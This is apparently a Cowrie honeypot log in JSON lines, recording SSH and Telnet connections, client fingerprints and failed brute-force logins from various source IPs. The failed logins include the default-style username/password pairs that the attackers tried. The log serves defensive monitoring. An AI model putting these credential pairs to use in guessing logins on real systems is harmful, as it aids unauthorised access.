{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:03.940693Z","src_ip":"43.153.12.68","session":"ca07f0a9d6b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"P@ssw0rd!","message":"login attempt [administrator/P@ssw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:04.262131Z","src_ip":"43.153.12.68","session":"ca07f0a9d6b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:05.338160Z","src_ip":"43.153.12.68","session":"ca07f0a9d6b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39698,"dst_ip":"10.17.0.5","dst_port":22,"session":"804afdfe2e13","protocol":"ssh","message":"New connection: 27.71.230.31:39698 (10.17.0.5:22) [session: 804afdfe2e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:05.564750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:05.871753Z","src_ip":"27.71.230.31","session":"804afdfe2e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:06.308552Z","src_ip":"27.71.230.31","session":"804afdfe2e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Login@VN","message":"login attempt [root/Login@VN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:07.689763Z","src_ip":"27.71.230.31","session":"804afdfe2e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.59","src_port":46316,"dst_ip":"10.17.0.5","dst_port":23,"session":"86679f420d63","protocol":"telnet","message":"New connection: 160.119.76.59:46316 (10.17.0.5:23) [session: 86679f420d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:08.923670Z"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:09.627682Z","src_ip":"27.71.230.31","session":"804afdfe2e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":44900,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bb99dea5753","protocol":"telnet","message":"New connection: 107.6.151.170:44900 (159.203.135.109:23) [session: 7bb99dea5753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:09.933521Z"}
{"eventid":"cowrie.session.closed","duration":4.9969658851623535,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:13.920478Z","src_ip":"160.119.76.59","session":"86679f420d63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":60410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ada328434b","protocol":"ssh","message":"New connection: 165.154.137.186:60410 (10.17.0.5:22) [session: b0ada328434b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:14.114401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:14.120004Z","src_ip":"165.154.137.186","session":"b0ada328434b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:14.370210Z","src_ip":"165.154.137.186","session":"b0ada328434b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:15.158178Z","src_ip":"165.154.137.186","session":"b0ada328434b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49204,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba10f263a420","protocol":"ssh","message":"New connection: 165.154.137.186:49204 (10.17.0.5:22) [session: ba10f263a420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:15.999288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:16.012239Z","src_ip":"165.154.137.186","session":"ba10f263a420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:16.280590Z","src_ip":"165.154.137.186","session":"ba10f263a420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:16.409213Z","src_ip":"165.154.137.186","session":"b0ada328434b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:17.084903Z","src_ip":"165.154.137.186","session":"ba10f263a420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:18.359162Z","src_ip":"165.154.137.186","session":"ba10f263a420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.8866012096405,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:20.251758Z","src_ip":"107.6.151.170","session":"f76cfdb127ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.242.127","src_port":56092,"dst_ip":"159.203.135.109","dst_port":22,"session":"66eefb554081","protocol":"ssh","message":"New connection: 118.145.242.127:56092 (159.203.135.109:22) [session: 66eefb554081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:36.563181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:36.567711Z","src_ip":"118.145.242.127","session":"66eefb554081","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:36.796463Z","src_ip":"118.145.242.127","session":"66eefb554081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q","message":"login attempt [ubuntu/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:38.421510Z","src_ip":"118.145.242.127","session":"66eefb554081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:39.660906Z","src_ip":"118.145.242.127","session":"66eefb554081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.40626907348633,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:42.298228Z","src_ip":"172.81.62.90","session":"387f0f540241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34676,"dst_ip":"10.17.0.5","dst_port":22,"session":"005214907def","protocol":"ssh","message":"New connection: 103.27.238.120:34676 (10.17.0.5:22) [session: 005214907def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:43.748541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:43.752649Z","src_ip":"103.27.238.120","session":"005214907def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:44.028280Z","src_ip":"103.27.238.120","session":"005214907def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fylhtq1998","message":"login attempt [root/fylhtq1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:44.855124Z","src_ip":"103.27.238.120","session":"005214907def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:06:46.132791Z","src_ip":"103.27.238.120","session":"005214907def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":38765,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a40dec87a71","protocol":"ssh","message":"New connection: 170.80.65.140:38765 (10.17.0.5:22) [session: 8a40dec87a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:17.710299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:17.721374Z","src_ip":"170.80.65.140","session":"8a40dec87a71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:17.847445Z","src_ip":"170.80.65.140","session":"8a40dec87a71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nadia","password":"nadia","message":"login attempt [nadia/nadia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:18.375839Z","src_ip":"170.80.65.140","session":"8a40dec87a71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.53620934486389,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:19.469613Z","src_ip":"107.6.151.170","session":"7bb99dea5753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:19.504337Z","src_ip":"170.80.65.140","session":"8a40dec87a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":35142,"dst_ip":"159.203.135.109","dst_port":22,"session":"0472806c8355","protocol":"ssh","message":"New connection: 27.71.230.31:35142 (159.203.135.109:22) [session: 0472806c8355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:24.852798Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":44300,"dst_ip":"10.17.0.5","dst_port":22,"session":"670b11f6ffbd","protocol":"ssh","message":"New connection: 165.154.137.186:44300 (10.17.0.5:22) [session: 670b11f6ffbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:25.701598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:25.707031Z","src_ip":"165.154.137.186","session":"670b11f6ffbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:25.960997Z","src_ip":"165.154.137.186","session":"670b11f6ffbd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:07:26.339908Z","src_ip":"27.71.230.31","session":"0472806c8355","protocol":"ssh"}
